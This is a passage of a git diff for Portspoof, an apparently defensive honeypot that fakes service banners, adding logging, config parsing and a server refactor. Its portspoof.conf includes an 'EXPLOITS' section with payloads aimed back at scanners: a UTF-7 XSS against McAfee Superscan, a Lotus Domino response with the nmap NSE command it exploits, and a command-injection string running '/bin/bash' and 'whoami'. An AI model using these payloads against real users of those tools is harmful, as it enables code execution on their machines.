cover the whole combination. + * + * In addition, as a special exception, the copyright holder of Portspoof + * gives you permission to combine Portspoof with free software programs or + * libraries that are released under the GNU LGPL. You may copy + * and distribute such a system following the terms of the GNU GPL for + * Portspoof and the licenses of the other code concerned. + * + * Note that people who make modified versions of Portspoof are not obligated + * to grant this special exception for their modified versions; it is their + * choice whether to do so. The GNU General Public License gives permission + * to release a modified version without this exception; this exception + * also makes it possible to release a modified version which carries + * forward this exception. + */ + + #include "Utils.h" + + +pthread_cond_t log_cond = PTHREAD_COND_INITIALIZER; +pthread_mutex_t log_mutex = PTHREAD_MUTEX_INITIALIZER; + + void Utils::hexdump(void *mem, unsigned int len) { unsigned int i, j; @@ -50,20 +92,20 @@ std::vector Utils::wrapNMAP(string wrapper,std::vector payload) string str; std::vector result_vector; - ss<getConfigValue(OPT_LOG_FILE)) + { + FILE *fp = fopen(configuration->getLogFile().c_str(), "a"); + if (fp == NULL) { + fprintf(stdout,"Error opening file: %s \n",configuration->getLogFile().c_str()); + exit(1); + } + + fprintf(fp,"%s",msg); + fclose(fp); + + } + + if(!(configuration->getConfigValue(OPT_SYSLOG_DIS))) + { + openlog(SYSLOG_NAME, LOG_PID|LOG_CONS, LOG_USER); + syslog(LOG_INFO," %s",msg); + closelog(); + } + pthread_mutex_unlock(&log_mutex); + + return; + } \ No newline at end of file diff --git a/src/Utils.h b/src/Utils.h index 656bd3a..3c4eb77 100755 --- a/src/Utils.h +++ b/src/Utils.h @@ -1,3 +1,39 @@ +/* + * Portspoof - Service Signature Emulator / Offesnsive Defense Exploitation Framework + * Copyright (C) 12012 Piotr Duszyński + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the + * Free Software Foundation; either version 2 of the License, or (at your + * option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + * See the GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along + * with this program; if not, see . + * + * Linking portspoof statically or dynamically with other modules is making + * a combined work based on Portspoof. Thus, the terms and conditions of + * the GNU General Public License cover the whole combination. + * + * In addition, as a special exception, the copyright holder of Portspoof + * gives you permission to combine Portspoof with free software programs or + * libraries that are released under the GNU LGPL. You may copy + * and distribute such a system following the terms of the GNU GPL for + * Portspoof and the licenses of the other code concerned. + * + * Note that people who make modified versions of Portspoof are not obligated + * to grant this special exception for their modified versions; it is their + * choice whether to do so. The GNU General Public License gives permission + * to release a modified version without this exception; this exception + * also makes it possible to release a modified version which carries + * forward this exception. + */ + + #ifndef UTILS_H #define UTILS_H @@ -12,12 +48,22 @@ #include #include #include +#include +#include +#include +#include "Configuration.h" + +class Configuration; +extern Configuration* configuration; #ifndef HEXDUMP_COLS #define HEXDUMP_COLS 16 #endif +#define MAX_LOG_MSG_LEN 200 +#define SYSLOG_NAME "portspoof" +#define FUZZING_KEYWORD "__FUZZ__" using namespace std; @@ -31,7 +77,9 @@ class Utils { static std::vector wrapNMAP(string wrapper,std::vector payload); static std::vector unescape( std::vector& s); static std::vector str2vector( std::string& s); - + static void log_create(const char* file); + static void log_write(Configuration* configuration,const char* msg); + }; diff --git a/src/config_file.c b/src/config_file.c old mode 100644 new mode 100755 index fc6fc92..2f8c51c --- a/src/config_file.c +++ b/src/config_file.c @@ -1,5 +1,13 @@ +#include "config_file.h" - +int isNumeric (const char * s) +{ + if (s == NULL || *s == '\0' || isspace(*s)) + return 0; + char * p; + strtod(s, &p); + return *p == '\0'; +} char * get_substring_value(char* str) { @@ -37,3 +45,119 @@ char * get_substring_value(char* str) return substr; } + +int get_nr_of_payloads(char* config_file) +{ + + FILE *fp = fopen(config_file, "r"); + if (fp == NULL) { + printf("Error opening file: %s \n",config_file); + exit(1); + } + + char tmp[BUFSIZE],str1[BUFSIZE], str2[BUFSIZE]; + int nr_of_payloads=0; + + while (fgets(tmp, BUFSIZE, fp)) + if (strlen(tmp) >1 && tmp[0]!='#') + { + + if(sscanf(tmp, "%s %s",str1,str2)==EOF){ + printf("Error in configuration file"); + exit(1); + } + + if(str1==NULL || str2==NULL) + { + printf("Error in configuration file"); + exit(1); + } + nr_of_payloads++; + } + + fclose(fp); + + return nr_of_payloads; +} + +int process_config_file(struct signature **arr_lines2,int* signatures,int num_lines, char* config_file) +{ + + FILE *fp = fopen(config_file, "r"); + if (fp == NULL) { + printf("Error opening file: %s \n",config_file); + exit(1); + } + + char tmp[BUFSIZE], str1[BUFSIZE], str2[BUFSIZE]; + int i=0,lp,hp; + char* substr; + int len; + + while (fgets(tmp, BUFSIZE, fp)) + if (strlen(tmp) >1 && tmp[0]!='#') + { + + if(sscanf(tmp, "%s %s",(char *)str1,str2)==EOF){ + printf("Error in configuration file"); + exit(1); + } + + if(str1==NULL || str2==NULL) + { + printf("Error in configuration file"); + exit(1); + } + + if(isNumeric(str1)) //single port + { + sscanf(str1,"%d",&lp); + substr=get_substring_value(tmp); + //DEBUG + //printf("port %d value: %s\n",lp,substr); + len=strlen(substr); + ((signature*)(arr_lines2[num_lines+i-1]))->cptr=process_signature(substr,&len);; + ((signature*)(arr_lines2[num_lines+i-1]))->len=len; + + + signatures[lp]=num_lines+i-1; + i++; + continue; + } + else + { + if(sscanf(str1, "%d-%d",&lp,&hp)==EOF){ + printf("Error in configuration file\n"); + exit(1); + } + + if(lp==0 || hp==0) + { + printf("Error in configuration file"); + exit(1); + } + + substr=get_substring_value(tmp); + //DEBUG + //printf("range port %d-%d value: %s\n",lp,hp,substr); + + len=strlen(substr); + ((signature*)(arr_lines2[num_lines+i-1]))->cptr=process_signature(substr,&len);; + ((signature*)(arr_lines2[num_lines+i-1]))->len=len; + + int port=lp; + for(port;port<=hp;port++) + { + signatures[port]=num_lines+i-1; + } + + i++; + continue; + + } + + } + + fclose(fp); + return 0; +} \ No newline at end of file diff --git a/src/config_file.h b/src/config_file.h old mode 100644 new mode 100755 index 8968ef6..ca5be7d --- a/src/config_file.h +++ b/src/config_file.h @@ -1,6 +1,9 @@ +#include +#include - - +#include "revregex.h" +#include "connection.h" int process_config_file(struct signature **arr_lines2,int* signatures,int num_lines, char* config_file); -char *get_substring_value(char* str); \ No newline at end of file +char *get_substring_value(char* str); +int get_nr_of_payloads(char* config_file); diff --git a/src/config_files/fuzz_nmap_signatures b/src/config_files/fuzz_nmap_signatures index 9c83132..0048ea2 100755 --- a/src/config_files/fuzz_nmap_signatures +++ b/src/config_files/fuzz_nmap_signatures @@ -1,4 +1,6 @@ -550 4m2v4 (__FUZZ__) -+OK Lotus Notes POP3 server version lLlfMoHcd ready j* on __FUZZ__/xxx.\r\n 220 __FUZZ__ ESMTP OpenSMTPD\r\n +220 __FUZZ__ SMTP ready to roll\r\n +550 4m2v4 __FUZZ__ HTTP/1.0 200 OK\n__FUZZ__'s desktop\n\n\n\t\n\n\n +HTTP/1.0 200 OK\r\nServer: Apache/__FUZZ__(Amazon)\r\nX-Powered-By: ASP\.NET\r\nCache-Control: no-cache, must-revalidate\r\nContent-type: text/html\r\nX-Powered-By: PHP/xxx\r\nExpires: Mon, 26 Jul 1997 05:00:00 GMT\r\nLog In - Juniper Web Device Manager
Apache mod_perl/2.0.4 Perl/v5.10.1 Server at devtest.myhost.co.za Port 80
++OK Lotus Notes POP3 server version lLlfMoHcd ready j* on __FUZZ__/xxx.\r\n diff --git a/src/config_files/ipt b/src/config_files/ipt index 1b18720..088e15d 100755 --- a/src/config_files/ipt +++ b/src/config_files/ipt @@ -1,18 +1,22 @@ -# Generated by iptables-save v1.4.4 on Tue Apr 23 14:26:41 2013 -*nat -:PREROUTING ACCEPT [5992:539002] -:INPUT ACCEPT [347451:16935290] -:OUTPUT ACCEPT [477:45868] -:POSTROUTING ACCEPT [0:0] --A PREROUTING -i eth1 -p tcp -m tcp --dport 1:21 -j REDIRECT --to-ports 4444 --A PREROUTING -i eth1 -p tcp -m tcp --dport 23:65535 -j REDIRECT --to-ports 4444 -COMMIT -# Completed on Tue Apr 23 14:26:42 2013 -# Generated by iptables-save v1.4.4 on Tue Apr 23 14:26:42 2013 +# Generated by iptables-save v1.4.4 on Wed Jul 10 07:22:28 2013 *filter -:INPUT ACCEPT [1931192:104113948] +:INPUT ACCEPT [1678171:82111055] :FORWARD ACCEPT [0:0] -:OUTPUT ACCEPT [1606583:151106362] +:OUTPUT ACCEPT [937893:145800979] -A FORWARD -j ACCEPT COMMIT -# Completed on Tue Apr 23 14:26:42 2013 +# Completed on Wed Jul 10 07:22:28 2013 +# Generated by iptables-save v1.4.4 on Wed Jul 10 07:22:28 2013 +*nat +:PREROUTING ACCEPT [4352:332304] +:INPUT ACCEPT [549244:30422764] +:OUTPUT ACCEPT [136:14911] +:POSTROUTING ACCEPT [0:0] +-A PREROUTING -i eth1 -p tcp -m tcp --dport 1:21 -j REDIRECT --to-ports 4444 +-A PREROUTING -i eth1 -p tcp -m tcp --dport 23:65335 -j REDIRECT --to-ports 4444 +-A PREROUTING -d 91.220.39.30/32 -p tcp -m tcp --dport 443 -j DNAT --to-destination 192.168.97.1:8080 +-A PREROUTING -d 91.220.39.30/32 -p tcp -m tcp --dport 443 -j DNAT --to-destination 192.168.97.1:8080 +-A POSTROUTING -j MASQUERADE +-A POSTROUTING -o eth1 -j MASQUERADE +COMMIT +# Completed on Wed Jul 10 07:22:28 2013 diff --git a/src/config_files/portspoof.conf b/src/config_files/portspoof.conf index 3569c83..e9ced66 100755 --- a/src/config_files/portspoof.conf +++ b/src/config_files/portspoof.conf @@ -73,6 +73,7 @@ 49 "550 12345 0000000000000000000000000000000000000000000000000000000" 50 "550 12345 0000000000000000000000000000000000000000000000000000000" +90 "550 4m2v4 Interesting ports on \x22id|/bin/bash;#\x22:" #Example: port range 51-60 "550 4m2v4 (FUZZ_HERE)" @@ -88,20 +89,18 @@ 8100 "220 FUZZ_HERE ESMTP OpenSMTPD\r\n" 8101 "220 FUZZ_HERE SMTP ready to roll\r\n" 8102 "550 12345 FUZZ_HERE" -8103 "+OK Lotus Notes POP3 server version lLlfMoHcd ready j* on __FUZZ_HERE__\r\n" -8104 "HTTP/1.0 200 OK\r\nServer: Apache/__FUZZ__(Amazon)\r\nX-Powered-By: ASP\.NET\r\nCache-Control: no-cache, must-revalidate\r\nContent-type: text/html\r\nX-Powered-By: PHP/xxx\r\nExpires: Mon, 26 Jul 1997 05:00:00 GMT\r\nLog In - Juniper Web Device Manager
Apache mod_perl/2.0.4 Perl/v5.10.1 Server at devtest.myhost.co.za Port 80
" -## EXPLOITS ## -# McAffee Superscan 4.0 UTF7 XSS 0day (old browsers) 9090 "550 12345 +ADw-img src=x onerror='a setter=alert,a=\x22UTF-7-XSS\x22; '+AD4-" -# NMAP NSE 0day remote file upload -# Vulnerable command: -#nmap --script http-domino-enum-passwords.nse -p 80 172.16.37.149 -sC -PN -n --script-args domino-enum-passwords.username='xxx',domino-enum-passwords.idpath='/tmp/test' +## EXPLOITS ## + +# NMAP +#./nmap --script ./scripts/http-domino-enum-passwords.nse -p 80 172.16.37.149 -sC -PN -n --script-args domino-enum-passwords.username='xxx',domino-enum-passwords.password='secr',domino-enum-passwords.idpath='/tmp/test' 80 "HTTP/1\.0 200 OK\r\nServer: Apache/(IBM_Lotus_Domino_v\.6\.5\.\d)\r\n\r\n\r\n\r\n\r\n\r\a\r\n\r\n
\r\n\r\n\r\n\x0d\x0a\x0d\x0a" +80 "whoami\n" diff --git a/src/connection.cpp b/src/connection.cpp index d28989c..0cbb48b 100755 --- a/src/connection.cpp +++ b/src/connection.cpp @@ -41,13 +41,11 @@ #include #include #include -#include "threads.h" +#include "Threads.h" #include "connection.h" #include "log.h" #include "Configuration.h" -Thread threads[MAX_THREADS]; - void nonblock(int sockfd) { @@ -116,7 +114,7 @@ void* process_connection(void *arg) msg=(char*)malloc(MAX_LOG_MSG_LEN); memset(msg,0,MAX_LOG_MSG_LEN); snprintf(msg,MAX_LOG_MSG_LEN,"%d # Port_probe # REMOVING_SOCKET # source_ip:%s # dst_port:%d \n",(int)timestamp,(char*)inet_ntoa(peer_sockaddr.sin_addr),original_port);//" port:%d src_ip%s\n", original_port,; - log_write(msg); + Utils::log_write(configuration,msg); free(msg); // @@ -164,7 +162,7 @@ void* process_connection(void *arg) msg =(char*)malloc(MAX_LOG_MSG_LEN); memset(msg,0,MAX_LOG_MSG_LEN); snprintf(msg,MAX_LOG_MSG_LEN,"%d # Port_probe # REMOVING_SOCKET # source_ip:%s # dst_port:%d \n",(int)timestamp,(char*)inet_ntoa(peer_sockaddr.sin_addr),original_port);//" port:%d src_ip%s\n", original_port,; - log_write(msg); + Utils::log_write(configuration,msg); free(msg); // @@ -196,7 +194,7 @@ void* process_connection(void *arg) char* msg=(char*)malloc(MAX_LOG_MSG_LEN); memset(msg,0,MAX_LOG_MSG_LEN); snprintf(msg,MAX_LOG_MSG_LEN,"%d # Service_probe # SIGNATURE_SEND # source_ip:%s # dst_port:%d \n",(int)timestamp,(char*)inet_ntoa(peer_sockaddr.sin_addr),original_port);//" port:%d src_ip%s\n", original_port,; - log_write(msg); + Utils::log_write(configuration,msg); free(msg); // @@ -254,4 +252,6 @@ void* process_connection(void *arg) } } + + return 0; } diff --git a/src/connection.h b/src/connection.h index 8ec91c5..a4fdefd 100755 --- a/src/connection.h +++ b/src/connection.h @@ -34,7 +34,7 @@ */ #include -#include "threads.h" +#include "Threads.h" #include #include @@ -59,12 +59,16 @@ #include "revregex.h" #include "Configuration.h" +#include "Server.h" + +#ifndef CONNECTION_H +#define CONNECTION_H #define SO_ORIGINAL_DST 80 #define TCPSTATES - - +extern pthread_cond_t new_connection_cond; +extern pthread_mutex_t new_connection_mutex; extern Thread threads[MAX_THREADS]; class Configuration; @@ -72,3 +76,6 @@ extern Configuration* configuration; void nonblock(int sockfd); void* process_connection(void *arg); + + +#endif diff --git a/src/log.cpp b/src/log.cpp old mode 100644 new mode 100755 diff --git a/src/log.h b/src/log.h old mode 100644 new mode 100755 diff --git a/src/main.cpp b/src/main.cpp old mode 100644 new mode 100755 diff --git a/src/portspoof b/src/portspoof index 4ecb34b..1415993 100755 Binary files a/src/portspoof and b/src/portspoof differ diff --git a/src/portspoof.cpp b/src/portspoof.cpp index 25a6301..fd56fbb 100755 --- a/src/portspoof.cpp +++ b/src/portspoof.cpp @@ -1,5 +1,5 @@ /* - * portspoof Service signature obfucastor + * Portspoof - Service Signature Emulator * Copyright (C) 12012 Piotr Duszyński * * This program is free software; you can redistribute it and/or modify it @@ -16,16 +16,16 @@ * with this program; if not, see . * * Linking portspoof statically or dynamically with other modules is making - * a combined work based on portspoof. Thus, the terms and conditions of + * a combined work based on Portspoof. Thus, the terms and conditions of * the GNU General Public License cover the whole combination. * - * In addition, as a special exception, the copyright holder of portspoof - * gives you permission to combine portspoof with free software programs or + * In addition, as a special exception, the copyright holder of Portspoof + * gives you permission to combine Portspoof with free software programs or * libraries that are released under the GNU LGPL. You may copy * and distribute such a system following the terms of the GNU GPL for - * portspoof and the licenses of the other code concerned. + * Portspoof and the licenses of the other code concerned. * - * Note that people who make modified versions of portspoof are not obligated + * Note that people who make modified versions of Portspoof are not obligated * to grant this special exception for their modified versions; it is their * choice whether to do so. The GNU General Public License gives permission * to release a modified version without this exception; this exception @@ -34,61 +34,23 @@ */ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include + + +#include "Server.h" +#include "Configuration.h" +#include "threads.h" #include "revregex.h" -#include "threads.h" #include "connection.h" #include "log.h" Configuration* configuration; +Server* server; -pthread_cond_t new_connection_cond = PTHREAD_COND_INITIALIZER; -pthread_mutex_t new_connection_mutex = PTHREAD_MUTEX_INITIALIZER; - - -int choose_thread() -{ - int i=MAX_THREADS-1; - int min = i; - while(i >=0) - { - if(threads[i].client_count < threads[min].client_count) - { - min = i; - } - i--; - } - - if(threads[min].client_count==MAX_CLIENT_PER_THREAD) - return -1; - - return min; -} int main(int argc, char **argv) { - int sockd,newsockfd; - int addrlen; - //int pid; - struct sockaddr_in my_name, peer_name; - int status; - - configuration = new Configuration(); if(configuration->processArgs(argc,argv)) @@ -99,22 +61,8 @@ int main(int argc, char **argv) if(configuration->readConfigFile()) exit(1); - - /* - if(configuration->getConfigValue(OPT_FUZZ_NMAP)) - { - if(configuration->PrepareFuzzer()) - { - fprintf(stdout,"Fuzzer prepare failed!\n"); - fflush(stdout); - exit(1); - } - fprintf(stdout,"-> Preparing fuzzer!\n"); - - } - */ - + //check log file if(configuration->getConfigValue(OPT_LOG_FILE)) @@ -125,103 +73,12 @@ int main(int argc, char **argv) fprintf(stdout,"-> Using user defined signature file %s\n",configuration->getSignatureFile().c_str()); fflush(stdout); - /* create thread pool */ - for(int i = 0; i < MAX_THREADS; i++) - { - pthread_create(&threads[i].tid, NULL, &process_connection, (void *) i); - threads[i].client_count = 0; - } - - /* create a socket */ - sockd = socket(PF_INET, SOCK_STREAM, 0); - if (sockd == -1) - { - perror("Socket creation error"); - exit(1); - } - - int n = 1; - setsockopt(sockd, SOL_SOCKET, SO_REUSEADDR , &n, sizeof(n)); - - /* server address - by default localhost */ - my_name.sin_family = PF_INET; - if(configuration->getConfigValue(OPT_IP)) - { - fprintf(stdout,"-> Binding to iface: %s\n",configuration->getBindIP().c_str()); - inet_aton(configuration->getBindIP().c_str(), &my_name.sin_addr); - - } - else - my_name.sin_addr.s_addr = INADDR_ANY; - - if(configuration->getConfigValue(OPT_PORT)) - { - fprintf(stdout,"-> Binding to port: %d\n",configuration->getPort()); - my_name.sin_port = htons(configuration->getPort()); - - } - else - my_name.sin_port = htons(DEFAULT_PORT); - - status = bind(sockd, (struct sockaddr*)&my_name, sizeof(my_name)); - if (status == -1) - { - perror("Binding error"); - exit(1); - } - - // Set queue sizeof - status = listen(sockd, 10); - if (status == -1) - { - perror("Listen set error"); - exit(1); - } - int choosen; - while(1) - { - /* wait for a connection */ - addrlen = sizeof(peer_name); - newsockfd = accept(sockd, (struct sockaddr*)&peer_name,(socklen_t*) &addrlen); - - - if (newsockfd < 0) - perror("ERROR on accept"); - else{ - - nonblock(newsockfd); - - start: - pthread_mutex_lock(&new_connection_mutex); - choosen=choose_thread(); - if( choosen == -1) - { - pthread_mutex_unlock(&new_connection_mutex); - sleep(1); - goto start; - } - - if(configuration->getConfigValue(OPT_DEBUG)) - fprintf(stdout," new conn - thread choosen: %d - nr. of connections already in queue: %d\n",choosen,threads[choosen].client_count); - fflush(stdout); - - for(int i = 0; i < MAX_CLIENT_PER_THREAD; i++) - { - if(threads[choosen].clients[i] == 0) - { - threads[choosen].clients[i] = newsockfd; - threads[choosen].client_count++; - break; - } - } - pthread_mutex_unlock(&new_connection_mutex); - } - - - } + //create portspoof + server = new Server(configuration); + server->run(); return 0; } diff --git a/src/portspoof.h b/src/portspoof.h old mode 100644 new mode 100755 diff --git a/src/threads.h b/src/threads.h index 3175328..cec47f9 100755 --- a/src/threads.h +++ b/src/threads.h @@ -35,12 +35,6 @@ #include - -extern pthread_cond_t new_connection_cond; -extern pthread_mutex_t new_connection_mutex; - - - #ifndef THREAD_VARS #define THREAD_VARS